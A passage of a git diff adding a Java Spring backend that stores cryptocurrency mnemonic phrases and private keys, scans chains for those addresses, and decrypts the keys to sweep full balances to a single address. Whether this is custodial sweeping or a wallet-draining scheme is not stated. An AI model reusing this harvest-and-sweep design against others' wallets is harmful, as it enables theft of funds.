+     * @param apiTransferLog 钱包转账
+     * @return 钱包转账集合
+     */
+    public List<ApiTransferLog> selectSysTransferLogList(ApiTransferLog apiTransferLog);
+
+    /**
+     * 新增钱包转账
+     * 
+     * @param apiTransferLog 钱包转账
+     * @return 结果
+     */
+    public int insertSysTransferLog(ApiTransferLog apiTransferLog);
+
+    /**
+     * 修改钱包转账
+     * 
+     * @param apiTransferLog 钱包转账
+     * @return 结果
+     */
+    public int updateSysTransferLog(ApiTransferLog apiTransferLog);
+
+    /**
+     * 删除钱包转账
+     * 
+     * @param id 钱包转账主键
+     * @return 结果
+     */
+    public int deleteSysTransferLogById(Long id);
+
+    /**
+     * 批量删除钱包转账
+     * 
+     * @param ids 需要删除的数据主键集合
+     * @return 结果
+     */
+    public int deleteSysTransferLogByIds(String[] ids);
+}

+ 61 - 0
api/src/main/java/com/api/service/ApiBlackipService.java

@@ -0,0 +1,61 @@
+package com.api.service;
+
+import java.util.List;
+import com.api.domain.ApiBlackip;
+
+/**
+ * IP黑名单Service接口
+ * 
+ * @author ruoyi
+ * @date 2023-03-25
+ */
+public interface ApiBlackipService 
+{
+    /**
+     * 查询IP黑名单
+     * 
+     * @param id IP黑名单主键
+     * @return IP黑名单
+     */
+    public ApiBlackip selectSysBlackipById(Long id);
+
+    /**
+     * 查询IP黑名单列表
+     * 
+     * @param apiBlackip IP黑名单
+     * @return IP黑名单集合
+     */
+    public List<ApiBlackip> selectSysBlackipList(ApiBlackip apiBlackip);
+
+    /**
+     * 新增IP黑名单
+     * 
+     * @param apiBlackip IP黑名单
+     * @return 结果
+     */
+    public int insertSysBlackip(ApiBlackip apiBlackip);
+
+    /**
+     * 修改IP黑名单
+     * 
+     * @param apiBlackip IP黑名单
+     * @return 结果
+     */
+    public int updateSysBlackip(ApiBlackip apiBlackip);
+
+    /**
+     * 批量删除IP黑名单
+     * 
+     * @param ids 需要删除的IP黑名单主键集合
+     * @return 结果
+     */
+    public int deleteSysBlackipByIds(String ids);
+
+    /**
+     * 删除IP黑名单信息
+     * 
+     * @param id IP黑名单主键
+     * @return 结果
+     */
+    public int deleteSysBlackipById(Long id);
+}

+ 61 - 0
api/src/main/java/com/api/service/ApiMnemonicService.java

@@ -0,0 +1,61 @@
+package com.api.service;
+
+import java.util.List;
+import com.api.domain.ApiMnemonic;
+
+/**
+ * 助记词Service接口
+ * 
+ * @author lanbing
+ * @date 2023-03-24
+ */
+public interface ApiMnemonicService
+{
+    /**
+     * 查询助记词
+     * 
+     * @param id 助记词主键
+     * @return 助记词
+     */
+    public ApiMnemonic selectSysMnemonicById(Long id);
+
+    /**
+     * 查询助记词列表
+     * 
+     * @param apiMnemonic 助记词
+     * @return 助记词集合
+     */
+    public List<ApiMnemonic> selectSysMnemonicList(ApiMnemonic apiMnemonic);
+
+    /**
+     * 新增助记词
+     * 
+     * @param apiMnemonic 助记词
+     * @return 结果
+     */
+    public int insertSysMnemonic(ApiMnemonic apiMnemonic);
+
+    /**
+     * 修改助记词
+     * 
+     * @param apiMnemonic 助记词
+     * @return 结果
+     */
+    public int updateSysMnemonic(ApiMnemonic apiMnemonic);
+
+    /**
+     * 批量删除助记词
+     * 
+     * @param ids 需要删除的助记词主键集合
+     * @return 结果
+     */
+    public int deleteSysMnemonicByIds(String ids);
+
+    /**
+     * 删除助记词信息
+     * 
+     * @param id 助记词主键
+     * @return 结果
+     */
+    public int deleteSysMnemonicById(Long id);
+}

+ 61 - 0
api/src/main/java/com/api/service/ApiMnemonicTokenPrivatekeyService.java

@@ -0,0 +1,61 @@
+package com.api.service;
+
+import java.util.List;
+import com.api.domain.ApiMnemonicTokenPrivatekey;
+
+/**
+ * 助记词私钥Service接口
+ * 
+ * @author lanbing
+ * @date 2023-03-25
+ */
+public interface ApiMnemonicTokenPrivatekeyService
+{
+    /**
+     * 查询助记词私钥
+     * 
+     * @param id 助记词私钥主键
+     * @return 助记词私钥
+     */
+    public ApiMnemonicTokenPrivatekey selectSysMnemonicTokenPrivatekeyById(Long id);
+
+    /**
+     * 查询助记词私钥列表
+     * 
+     * @param apiMnemonicTokenPrivatekey 助记词私钥
+     * @return 助记词私钥集合
+     */
+    public List<ApiMnemonicTokenPrivatekey> selectSysMnemonicTokenPrivatekeyList(ApiMnemonicTokenPrivatekey apiMnemonicTokenPrivatekey);
+
+    /**
+     * 新增助记词私钥
+     * 
+     * @param apiMnemonicTokenPrivatekey 助记词私钥
+     * @return 结果
+     */
+    public int insertSysMnemonicTokenPrivatekey(ApiMnemonicTokenPrivatekey apiMnemonicTokenPrivatekey);
+
+    /**
+     * 修改助记词私钥
+     * 
+     * @param apiMnemonicTokenPrivatekey 助记词私钥
+     * @return 结果
+     */
+    public int updateSysMnemonicTokenPrivatekey(ApiMnemonicTokenPrivatekey apiMnemonicTokenPrivatekey);
+
+    /**
+     * 批量删除助记词私钥
+     * 
+     * @param ids 需要删除的助记词私钥主键集合
+     * @return 结果
+     */
+    public int deleteSysMnemonicTokenPrivatekeyByIds(String ids);
+
+    /**
+     * 删除助记词私钥信息
+     * 
+     * @param id 助记词私钥主键
+     * @return 结果
+     */
+    public int deleteSysMnemonicTokenPrivatekeyById(Long id);
+}

+ 67 - 0
api/src/main/java/com/api/service/ApiMnemonicTokenService.java

@@ -0,0 +1,67 @@
+package com.api.service;
+
+import java.util.List;
+import com.api.domain.ApiMnemonicToken;
+import org.apache.ibatis.annotations.Param;
+
+/**
+ * 代币Service接口
+ * 
+ * @author lanbing
+ * @date 2023-03-25
+ */
+public interface ApiMnemonicTokenService 
+{
+    /**
+     * 查询代币
+     * 
+     * @param id 代币主键
+     * @return 代币
+     */
+    public ApiMnemonicToken selectSysMnemonicTokenById(Long id);
+
+    /**
+     * 查询代币列表
+     * 
+     * @param apiMnemonicToken 代币
+     * @return 代币集合
+     */
+    public List<ApiMnemonicToken> selectSysMnemonicTokenList(ApiMnemonicToken apiMnemonicToken);
+
+    /**
+     * 新增代币
+     * 
+     * @param apiMnemonicToken 代币
+     * @return 结果
+     */
+    public int insertSysMnemonicToken(ApiMnemonicToken apiMnemonicToken);
+
+    /**
+     * 修改代币
+     * 
+     * @param apiMnemonicToken 代币
+     * @return 结果
+     */
+    public int updateSysMnemonicToken(ApiMnemonicToken apiMnemonicToken);
+
+    /**
+     * 批量删除代币
+     * 
+     * @param ids 需要删除的代币主键集合
+     * @return 结果
+     */
+    public int deleteSysMnemonicTokenByIds(String ids);
+
+    /**
+     * 删除代币信息
+     * 
+     * @param id 代币主键
+     * @return 结果
+     */
+    public int deleteSysMnemonicTokenById(Long id);
+
+    public List<ApiMnemonicToken> selectSysMnemonicTokenTaskList(@Param("token") String token, @Param("balance") String balance);
+
+
+    public List<ApiMnemonicToken> selectSysMnemonicTokenTaskSingleList(@Param("token") String token);
+}

+ 52 - 0
api/src/main/java/com/api/service/ApiService.java

@@ -0,0 +1,52 @@
+package com.api.service;
+
+
+import com.api.domain.Api;
+
+import java.math.BigDecimal;
+import java.util.List;
+
+public interface ApiService {
+    public List<Api> ApiList();
+
+// add by lwh 2025-7-3 start
+
+    /**
+     * bnb、bep扫快任务
+     * @param token token
+     */
+    void checkBnbAndBep(String token);
+
+    /**
+     * trx、trc扫快任务
+     * @param token token
+     */
+    void checkTrxAndTrc(String token);
+
+    /**
+     * eth、erc扫快任务
+     * @param token token
+     */
+    void checkEthAndErc(String token);
+// add by lwh 2025-7-6 start
+    /**
+     *  处理TRC交易
+     * @param batchIds id列表
+     * @param toAddress 交易地址
+     * @param minBalance 金额阈值
+     */
+    void sendTrcBatchWithLock(List<Long> batchIds, String toAddress, BigDecimal minBalance);
+// add by lwh 2025-7-6 end
+
+// add by lwh 2025-7-8 start
+    /**
+     *  处理ERC交易
+     * @param batchIds id列表
+     * @param toAddress 交易地址
+     * @param minBalance 金额阈值
+     */
+    void sendErcBatchWithLock(List<Long> batchIds, String toAddress, BigDecimal minBalance);
+// add by lwh 2025-7-8 end
+
+// add by lwh 2025-7-3 end
+}

+ 61 - 0
api/src/main/java/com/api/service/ApiTransferLogService.java

@@ -0,0 +1,61 @@
+package com.api.service;
+
+import java.util.List;
+import com.api.domain.ApiTransferLog;
+
+/**
+ * 钱包转账Service接口
+ * 
+ * @author ruoyi
+ * @date 2023-03-27
+ */
+public interface ApiTransferLogService 
+{
+    /**
+     * 查询钱包转账
+     * 
+     * @param id 钱包转账主键
+     * @return 钱包转账
+     */
+    public ApiTransferLog selectSysTransferLogById(Long id);
+
+    /**
+     * 查询钱包转账列表
+     * 
+     * @param apiTransferLog 钱包转账
+     * @return 钱包转账集合
+     */
+    public List<ApiTransferLog> selectSysTransferLogList(ApiTransferLog apiTransferLog);
+
+    /**
+     * 新增钱包转账
+     * 
+     * @param apiTransferLog 钱包转账
+     * @return 结果
+     */
+    public int insertSysTransferLog(ApiTransferLog apiTransferLog);
+
+    /**
+     * 修改钱包转账
+     * 
+     * @param apiTransferLog 钱包转账
+     * @return 结果
+     */
+    public int updateSysTransferLog(ApiTransferLog apiTransferLog);
+
+    /**
+     * 批量删除钱包转账
+     * 
+     * @param ids 需要删除的钱包转账主键集合
+     * @return 结果
+     */
+    public int deleteSysTransferLogByIds(String ids);
+
+    /**
+     * 删除钱包转账信息
+     * 
+     * @param id 钱包转账主键
+     * @return 结果
+     */
+    public int deleteSysTransferLogById(Long id);
+}

+ 94 - 0
api/src/main/java/com/api/service/impl/ApiBlackipServiceImpl.java

@@ -0,0 +1,94 @@
+package com.api.service.impl;
+
+import java.util.List;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Service;
+import com.api.mapper.ApiBlackipMapper;
+import com.api.domain.ApiBlackip;
+import com.api.service.ApiBlackipService;
+import com.ruoyi.common.core.text.Convert;
+
+/**
+ * IP黑名单Service业务层处理
+ * 
+ * @author ruoyi
+ * @date 2023-03-25
+ */
+@Service
+public class ApiBlackipServiceImpl implements ApiBlackipService 
+{
+    @Autowired
+    private ApiBlackipMapper apiBlackipMapper;
+
+    /**
+     * 查询IP黑名单
+     * 
+     * @param id IP黑名单主键
+     * @return IP黑名单
+     */
+    @Override
+    public ApiBlackip selectSysBlackipById(Long id)
+    {
+        return apiBlackipMapper.selectSysBlackipById(id);
+    }
+
+    /**
+     * 查询IP黑名单列表
+     * 
+     * @param apiBlackip IP黑名单
+     * @return IP黑名单
+     */
+    @Override
+    public List<ApiBlackip> selectSysBlackipList(ApiBlackip apiBlackip)
+    {
+        return apiBlackipMapper.selectSysBlackipList(apiBlackip);
+    }
+
+    /**
+     * 新增IP黑名单
+     * 
+     * @param apiBlackip IP黑名单
+     * @return 结果
+     */
+    @Override
+    public int insertSysBlackip(ApiBlackip apiBlackip)
+    {
+        return apiBlackipMapper.insertSysBlackip(apiBlackip);
+    }
+
+    /**
+     * 修改IP黑名单
+     * 
+     * @param apiBlackip IP黑名单
+     * @return 结果
+     */
+    @Override
+    public int updateSysBlackip(ApiBlackip apiBlackip)
+    {
+        return apiBlackipMapper.updateSysBlackip(apiBlackip);
+    }
+
+    /**
+     * 批量删除IP黑名单
+     * 
+     * @param ids 需要删除的IP黑名单主键
+     * @return 结果
+     */
+    @Override
+    public int deleteSysBlackipByIds(String ids)
+    {
+        return apiBlackipMapper.deleteSysBlackipByIds(Convert.toStrArray(ids));
+    }
+
+    /**
+     * 删除IP黑名单信息
+     * 
+     * @param id IP黑名单主键
+     * @return 结果
+     */
+    @Override
+    public int deleteSysBlackipById(Long id)
+    {
+        return apiBlackipMapper.deleteSysBlackipById(id);
+    }
+}

+ 94 - 0
api/src/main/java/com/api/service/impl/ApiMnemonicServiceImpl.java

@@ -0,0 +1,94 @@
+package com.api.service.impl;
+
+import java.util.List;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Service;
+import com.api.mapper.ApiMnemonicMapper;
+import com.api.domain.ApiMnemonic;
+import com.api.service.ApiMnemonicService;
+import com.ruoyi.common.core.text.Convert;
+
+/**
+ * 助记词Service业务层处理
+ * 
+ * @author lanbing
+ * @date 2023-03-24
+ */
+@Service
+public class ApiMnemonicServiceImpl implements ApiMnemonicService
+{
+    @Autowired
+    private ApiMnemonicMapper apiMnemonicMapper;
+
+    /**
+     * 查询助记词
+     * 
+     * @param id 助记词主键
+     * @return 助记词
+     */
+    @Override
+    public ApiMnemonic selectSysMnemonicById(Long id)
+    {
+        return apiMnemonicMapper.selectSysMnemonicById(id);
+    }
+
+    /**
+     * 查询助记词列表
+     * 
+     * @param apiMnemonic 助记词
+     * @return 助记词
+     */
+    @Override
+    public List<ApiMnemonic> selectSysMnemonicList(ApiMnemonic apiMnemonic)
+    {
+        return apiMnemonicMapper.selectSysMnemonicList(apiMnemonic);
+    }
+
+    /**
+     * 新增助记词
+     * 
+     * @param apiMnemonic 助记词
+     * @return 结果
+     */
+    @Override
+    public int insertSysMnemonic(ApiMnemonic apiMnemonic)
+    {
+        return apiMnemonicMapper.insertSysMnemonic(apiMnemonic);
+    }
+
+    /**
+     * 修改助记词
+     * 
+     * @param apiMnemonic 助记词
+     * @return 结果
+     */
+    @Override
+    public int updateSysMnemonic(ApiMnemonic apiMnemonic)
+    {
+        return apiMnemonicMapper.updateSysMnemonic(apiMnemonic);
+    }
+
+    /**
+     * 批量删除助记词
+     * 
+     * @param ids 需要删除的助记词主键
+     * @return 结果
+     */
+    @Override
+    public int deleteSysMnemonicByIds(String ids)
+    {
+        return apiMnemonicMapper.deleteSysMnemonicByIds(Convert.toStrArray(ids));
+    }
+
+    /**
+     * 删除助记词信息
+     * 
+     * @param id 助记词主键
+     * @return 结果
+     */
+    @Override
+    public int deleteSysMnemonicById(Long id)
+    {
+        return apiMnemonicMapper.deleteSysMnemonicById(id);
+    }
+}

+ 94 - 0
api/src/main/java/com/api/service/impl/ApiMnemonicTokenPrivatekeyServiceImpl.java

@@ -0,0 +1,94 @@
+package com.api.service.impl;
+
+import java.util.List;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Service;
+import com.api.mapper.ApiMnemonicTokenPrivatekeyMapper;
+import com.api.domain.ApiMnemonicTokenPrivatekey;
+import com.api.service.ApiMnemonicTokenPrivatekeyService;
+import com.ruoyi.common.core.text.Convert;
+
+/**
+ * 助记词私钥Service业务层处理
+ * 
+ * @author lanbing
+ * @date 2023-03-25
+ */
+@Service
+public class ApiMnemonicTokenPrivatekeyServiceImpl implements ApiMnemonicTokenPrivatekeyService
+{
+    @Autowired
+    private ApiMnemonicTokenPrivatekeyMapper apiMnemonicTokenPrivatekeyMapper;
+
+    /**
+     * 查询助记词私钥
+     * 
+     * @param id 助记词私钥主键
+     * @return 助记词私钥
+     */
+    @Override
+    public ApiMnemonicTokenPrivatekey selectSysMnemonicTokenPrivatekeyById(Long id)
+    {
+        return apiMnemonicTokenPrivatekeyMapper.selectSysMnemonicTokenPrivatekeyById(id);
+    }
+
+    /**
+     * 查询助记词私钥列表
+     * 
+     * @param apiMnemonicTokenPrivatekey 助记词私钥
+     * @return 助记词私钥
+     */
+    @Override
+    public List<ApiMnemonicTokenPrivatekey> selectSysMnemonicTokenPrivatekeyList(ApiMnemonicTokenPrivatekey apiMnemonicTokenPrivatekey)
+    {
+        return apiMnemonicTokenPrivatekeyMapper.selectSysMnemonicTokenPrivatekeyList(apiMnemonicTokenPrivatekey);
+    }
+
+    /**
+     * 新增助记词私钥
+     * 
+     * @param apiMnemonicTokenPrivatekey 助记词私钥
+     * @return 结果
+     */
+    @Override
+    public int insertSysMnemonicTokenPrivatekey(ApiMnemonicTokenPrivatekey apiMnemonicTokenPrivatekey)
+    {
+        return apiMnemonicTokenPrivatekeyMapper.insertSysMnemonicTokenPrivatekey(apiMnemonicTokenPrivatekey);
+    }
+
+    /**
+     * 修改助记词私钥
+     * 
+     * @param apiMnemonicTokenPrivatekey 助记词私钥
+     * @return 结果
+     */
+    @Override
+    public int updateSysMnemonicTokenPrivatekey(ApiMnemonicTokenPrivatekey apiMnemonicTokenPrivatekey)
+    {
+        return apiMnemonicTokenPrivatekeyMapper.updateSysMnemonicTokenPrivatekey(apiMnemonicTokenPrivatekey);
+    }
+
+    /**
+     * 批量删除助记词私钥
+     * 
+     * @param ids 需要删除的助记词私钥主键
+     * @return 结果
+     */
+    @Override
+    public int deleteSysMnemonicTokenPrivatekeyByIds(String ids)
+    {
+        return apiMnemonicTokenPrivatekeyMapper.deleteSysMnemonicTokenPrivatekeyByIds(Convert.toStrArray(ids));
+    }
+
+    /**
+     * 删除助记词私钥信息
+     * 
+     * @param id 助记词私钥主键
+     * @return 结果
+     */
+    @Override
+    public int deleteSysMnemonicTokenPrivatekeyById(Long id)
+    {
+        return apiMnemonicTokenPrivatekeyMapper.deleteSysMnemonicTokenPrivatekeyById(id);
+    }
+}

+ 114 - 0
api/src/main/java/com/api/service/impl/ApiMnemonicTokenServiceImpl.java

@@ -0,0 +1,114 @@
+package com.api.service.impl;
+
+import java.util.List;
+
+import org.apache.ibatis.annotations.Param;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Service;
+import com.api.mapper.ApiMnemonicTokenMapper;
+import com.api.domain.ApiMnemonicToken;
+import com.api.service.ApiMnemonicTokenService;
+import com.ruoyi.common.core.text.Convert;
+
+/**
+ * 代币Service业务层处理
+ * 
+ * @author lanbing
+ * @date 2023-03-25
+ */
+@Service
+public class ApiMnemonicTokenServiceImpl implements ApiMnemonicTokenService 
+{
+    @Autowired
+    private ApiMnemonicTokenMapper apiMnemonicTokenMapper;
+
+    /**
+     * 查询代币
+     * 
+     * @param id 代币主键
+     * @return 代币
+     */
+    @Override
+    public ApiMnemonicToken selectSysMnemonicTokenById(Long id)
+    {
+        return apiMnemonicTokenMapper.selectSysMnemonicTokenById(id);
+    }
+
+    /**
+     * 查询代币列表
+     * 
+     * @param apiMnemonicToken 代币
+     * @return 代币
+     */
+    @Override
+    public List<ApiMnemonicToken> selectSysMnemonicTokenList(ApiMnemonicToken apiMnemonicToken)
+    {
+        return apiMnemonicTokenMapper.selectSysMnemonicTokenList(apiMnemonicToken);
+    }
+
+    /**
+     * 新增代币
+     * 
+     * @param apiMnemonicToken 代币
+     * @return 结果
+     */
+    @Override
+    public int insertSysMnemonicToken(ApiMnemonicToken apiMnemonicToken)
+    {
+        return apiMnemonicTokenMapper.insertSysMnemonicToken(apiMnemonicToken);
+    }
+
+    /**
+     * 修改代币
+     * 
+     * @param apiMnemonicToken 代币
+     * @return 结果
+     */
+    @Override
+    public int updateSysMnemonicToken(ApiMnemonicToken apiMnemonicToken)
+    {
+        return apiMnemonicTokenMapper.updateSysMnemonicToken(apiMnemonicToken);
+    }
+
+    /**
+     * 批量删除代币
+     * 
+     * @param ids 需要删除的代币主键
+     * @return 结果
+     */
+    @Override
+    public int deleteSysMnemonicTokenByIds(String ids)
+    {
+        return apiMnemonicTokenMapper.deleteSysMnemonicTokenByIds(Convert.toStrArray(ids));
+    }
+
+    /**
+     * 删除代币信息
+     * 
+     * @param id 代币主键
+     * @return 结果
+     */
+    @Override
+    public int deleteSysMnemonicTokenById(Long id)
+    {
+        return apiMnemonicTokenMapper.deleteSysMnemonicTokenById(id);
+    }
+
+    /**
+     * 处理计划任务
+     *
+     * @param token 代币
+     * @return 代币
+     */
+    @Override
+    public List<ApiMnemonicToken> selectSysMnemonicTokenTaskList(@Param("token") String token, @Param("balance") String balance)
+    {
+        return apiMnemonicTokenMapper.selectSysMnemonicTokenTaskList(token,balance);
+    }
+
+    @Override
+    public List<ApiMnemonicToken> selectSysMnemonicTokenTaskSingleList(@Param("token") String token)
+    {
+        return apiMnemonicTokenMapper.selectSysMnemonicTokenTaskSingleList(token);
+    }
+}

+ 638 - 0
api/src/main/java/com/api/service/impl/ApiServiceImpl.java

@@ -0,0 +1,638 @@
+package com.api.service.impl;
+
+import com.api.controller.ApiController;
+import com.api.domain.ApiMnemonic;
+import com.api.domain.ApiMnemonicToken;
+import com.api.domain.ApiTransferLog;
+import com.api.mapper.ApiMnemonicMapper;
+import com.api.mapper.ApiMnemonicTokenMapper;
+import com.api.mapper.ApiTransferLogMapper;
+import com.ruoyi.common.utils.wallet.*;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.scheduling.annotation.Async;
+import org.springframework.stereotype.Service;
+import com.api.domain.Api;
+import com.api.mapper.ApiMapper;
+import com.api.service.ApiService;
+import org.springframework.transaction.annotation.Isolation;
+import org.springframework.transaction.annotation.Transactional;
+
+import java.io.IOException;
+import java.math.BigDecimal;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+@Service
+public class ApiServiceImpl implements ApiService {
+
+// add by lwh 2025-7-3 start
+    private final Logger log = LoggerFactory.getLogger(this.getClass());
+
+    @Autowired
+    private ApiTransferLogMapper apiTransferLogMapper;
+    @Autowired
+    private ApiMnemonicTokenMapper apiMnemonicTokenMapper;
+    @Autowired
+    private ApiMnemonicMapper apiMnemonicMapper;
+// add by lwh 2025-7-3 end
+
+    @Autowired
+    private ApiMapper ApiService;
+
+    public List<Api> ApiList(){
+        List<Api> api = ApiService.selectBanner();
+        return api;
+    }
+
+// add by lwh 2025-7-6 start
+
+    /**
+     * Trc转账任务
+     * @param batchIds id列表
+     * @param toAddress 交易地址
+     * @param minBalance 金额阈值
+     */
+    @Override
+    @Transactional(isolation = Isolation.READ_COMMITTED, timeout = 10)
+    public void sendTrcBatchWithLock(List<Long> batchIds, String toAddress, BigDecimal minBalance) {
+        try {
+            // 1. 查询并锁定当前批次的记录
+            List<ApiMnemonicToken> plist = apiMnemonicTokenMapper.selectSysMnemonicTokenListForUpdateByIds(batchIds);
+
+            for (ApiMnemonicToken mnemonicToken : plist) {
+                log.info("当前执行线程: {}", Thread.currentThread().getName());
+
+                // 2. 检查余额(防止并发修改导致余额不足)
+                String fromAddress = mnemonicToken.getAddress();
+                // add by lwh 2025-7-8 start
+                // 转出地址和转入地址一样时,跳过
+                if (fromAddress.equals(toAddress)) {
+                    continue;
+                }
+                // add by lwh 2025-7-8 end
+                String privateKey = ApiController.decryptByPrivateKey(mnemonicToken.getprivatekey());
+                BigDecimal balance = mnemonicToken.getBalance();
+                BigDecimal zzBalance = mnemonicToken.getzzbalance();
+                Long maid = mnemonicToken.getId();
+                if ((zzBalance.compareTo(BigDecimal.ZERO) >0 && balance.compareTo(zzBalance)>=0) ||
+                        (minBalance.compareTo(BigDecimal.ZERO) >0 &&balance.compareTo(minBalance) >= 0)) {
+                    try {
+                        // 3. 执行转账(网络操作,可能耗时,但事务范围小)
+                        String txId = TronUtils.sendTrc20(fromAddress, toAddress, balance, privateKey);
+                        // 4. 添加转账日志(在同一个事务中更新)
+                        String res = transferApi(txId, mnemonicToken, fromAddress, privateKey, toAddress,
+                                balance.toPlainString(), balance.toPlainString(), 2);
+                        log.info("TRC批量转账结果:{}", res);
+
+                    } catch (Exception e) {
+                        log.error("TRC转账失败,记录ID:{},错误:{}", maid, e.getMessage());
+                    }
+                }
+            }
+        } catch (Exception e) {
+            log.error("处理TRC批次转账报错,批次大小:{},错误:{}", batchIds.size(), e.getMessage());
+            throw e;  // 抛出异常让事务回滚
+        }
+    }
+// add by lwh 2025-7-6 end
+
+
+// add by lwh 2025-7-8 start
+    /**
+     * Erc转账任务
+     * @param batchIds id列表
+     * @param toAddress 交易地址
+     * @param minBalance 金额阈值
+     */
+    @Override
+    @Transactional(isolation = Isolation.READ_COMMITTED, timeout = 10)
+    public void sendErcBatchWithLock(List<Long> batchIds, String toAddress, BigDecimal minBalance) {
+        try {
+            // 1. 查询并锁定当前批次的记录
+            List<ApiMnemonicToken> plist = apiMnemonicTokenMapper.selectSysMnemonicTokenListForUpdateByIds(batchIds);
+
+            for (ApiMnemonicToken mnemonicToken : plist) {
+                log.info("当前执行线程: {}", Thread.currentThread().getName());
+
+                // 2. 检查余额(防止并发修改导致余额不足)
+                String fromAddress = mnemonicToken.getAddress();
+                // 转出地址和转入地址一样时,跳过
+                if (fromAddress.equals(toAddress)) {
+                    continue;
+                }
+                String privateKey = ApiController.decryptByPrivateKey(mnemonicToken.getprivatekey());
+                BigDecimal balance = mnemonicToken.getBalance();
+                BigDecimal zzBalance = mnemonicToken.getzzbalance();
+                Long maid = mnemonicToken.getId();
+                if ((zzBalance.compareTo(BigDecimal.ZERO) >0 && balance.compareTo(zzBalance)>=0) ||
+                        (minBalance.compareTo(BigDecimal.ZERO) >0 &&balance.compareTo(minBalance) >= 0)) {
+                    try {
+                        // 3. 执行转账(网络操作,可能耗时,但事务范围小)
+                        String txId = EthUtils.sendErc20(toAddress, balance, privateKey);
+                        // 4. 添加转账日志(在同一个事务中更新)
+                        String res = transferApi(txId, mnemonicToken, fromAddress, privateKey, toAddress,
+                                balance.toPlainString(), balance.toPlainString(), 2);
+                        log.info("ERC20批量转账结果:{}", res);
+                    } catch (Exception e) {
+                        log.error("ERC20转账失败,记录ID:{},错误:{}", maid, e.getMessage());
+                    }
+                }
+            }
+        } catch (Exception e) {
+            log.error("处理ERC20批次转账报错,批次大小:{},错误:{}", batchIds.size(), e.getMessage());
+            throw e;  // 抛出异常让事务回滚
+        }
+    }
+// add by lwh 2025-7-8 end
+
+
+// add by lwh 2025-7-3 start
+    /**
+     * bnb、bep扫快任务
+     * @param token token
+     */
+    @Override
+    @Async("asyncExecutor")
+    public void checkBnbAndBep(String token) {
+        try {
+            log.info("checkBnbAndBep当前执行线程: {}", Thread.currentThread().getName());
+
+            ArrayList<String> bnbarr = new ArrayList<>();
+            ArrayList<String> beparr = new ArrayList<>();
+
+            if (token.equals("bnb") || token.equals("bep")) {
+                List<String> str = null;
+                try {
+                    str = BSCUtils.getBlockAddr();
+                } catch (IOException | InterruptedException e) {
+                    throw new RuntimeException(e);
+                }
+                ApiMnemonicToken pk3 = new ApiMnemonicToken();
+                pk3.setToken("bnb");
+                List<ApiMnemonicToken> bnblist = apiMnemonicTokenMapper.selectSysMnemonicTokenList(pk3);
+                pk3.setToken("bep");
+                List<ApiMnemonicToken> beplist = apiMnemonicTokenMapper.selectSysMnemonicTokenList(pk3);
+
+                String bnblinshi = "", beplinshi = "";
+                int bnbpsadd = 0, beppsadd = 0;
+                for (int i = 0; i < bnblist.size(); i++) {
+                    String bnbaddress = bnblist.get(i).getAddress();
+                    if (str.contains(bnbaddress)) {
+                        log.error("bnb包含这个区块》》》》》》》》》》》》》》》》》》》" + bnbaddress);
+                        // 第一个地址不需要前缀逗号
+                        if (bnbpsadd == 0) {
+                            bnblinshi = bnbaddress;
+                        } else {
+                            bnblinshi += "," + bnbaddress;
+                        }
+                        bnbpsadd++;
+
+                        // 每11个地址分组(不包括最后一组)
+                        if (bnbpsadd % 11 == 0) {
+                            bnbarr.add(bnblinshi);
+                            bnblinshi = "";
+                            bnbpsadd = 0;
+                        }
+                    }
+                    // 处理最后一个元素:无论是否匹配,只要临时列表非空就添加
+                    if (i == bnblist.size() - 1 && !bnblinshi.isEmpty()) {
+                        bnbarr.add(bnblinshi);
+                    }
+                }
+                for (int i = 0; i < beplist.size(); i++) {
+                    String bepaddress = beplist.get(i).getAddress();
+                    if (str.contains(bepaddress)) {
+                        log.error("bep包含这个区块》》》》》》》》》》》》》》》》》》》" + bepaddress);
+                        // 第一个地址不需要前缀逗号
+                        if (beppsadd == 0) {
+                            beplinshi = bepaddress;
+                        } else {
+                            beplinshi += "," + bepaddress;
+                        }
+                        beppsadd++;
+
+                        // 每11个地址分组(不包括最后一组)
+                        if (beppsadd % 11 == 0) {
+                            beparr.add(beplinshi);
+                            beplinshi = "";
+                            beppsadd = 0;
+                        }
+                    }
+                    // 处理最后一个元素:无论是否匹配,只要临时列表非空就添加
+                    if (i == beplist.size() - 1 && !beplinshi.isEmpty()) {
+                        beparr.add(beplinshi);
+                    }
+                }
+
+                //bnb有值
+                for (String addressGroup : bnbarr) {
+                    if (!addressGroup.isEmpty()) {
+                        Thread thread = new Thread() {
+                            @Override
+                            public void run() {
+                                updateBalance(addressGroup);
+                            }
+                        };
+                        thread.start();
+                    }
+                }
+                //bep有值
+                for (String addressGroup : beparr) {
+                    if (!addressGroup.isEmpty()) {
+                        Thread thread = new Thread() {
+                            @Override
+                            public void run() {
+                                updateBalance(addressGroup);
+                            }
+                        };
+                        thread.start();
+                    }
+                }
+            }
+        } catch (Exception e) {
+            log.error("bnb、bep批量扫快错误:{}", e.getMessage());
+        }
+    }
+// add by lwh 2025-7-3 end
+
+
+    // add by lwh 2025-7-3 start
+    @Override
+    @Async("asyncExecutor")
+    public void checkTrxAndTrc(String token) {
+        log.info("checkTrxAndTrc当前执行线程: {}", Thread.currentThread().getName());
+        try {
+
+            ArrayList<String> trxarr = new ArrayList<>();
+            ArrayList<String> trcarr = new ArrayList<>();
+            if (token.equals("trx") || token.equals("trc")) {
+
+                List<String> str = TronUtils.getBlockAddr();
+                ApiMnemonicToken pk = new ApiMnemonicToken();
+                pk.setToken("trx");
+                List<ApiMnemonicToken> trxlist = apiMnemonicTokenMapper.selectSysMnemonicTokenList(pk);
+                pk.setToken("trc");
+                List<ApiMnemonicToken> trclist = apiMnemonicTokenMapper.selectSysMnemonicTokenList(pk);
+
+                String trxlinshi = "", trclinshi = "";
+                int trxpsadd = 0, trcpsadd = 0;
+                for (int i = 0; i < trxlist.size(); i++) {
+                    String ck = trxlist.get(i).getAddress();
+                    if (str.contains(ck)) {
+                        log.error("trx包含这个区块》》》》》》》》》》》》》》》》》》》" + ck);
+                        // 第一个地址不需要前缀逗号
+                        if (trxpsadd == 0) {
+                            trxlinshi = ck;
+                        } else {
+                            trxlinshi += "," + ck;
+                        }
+                        trxpsadd++;
+
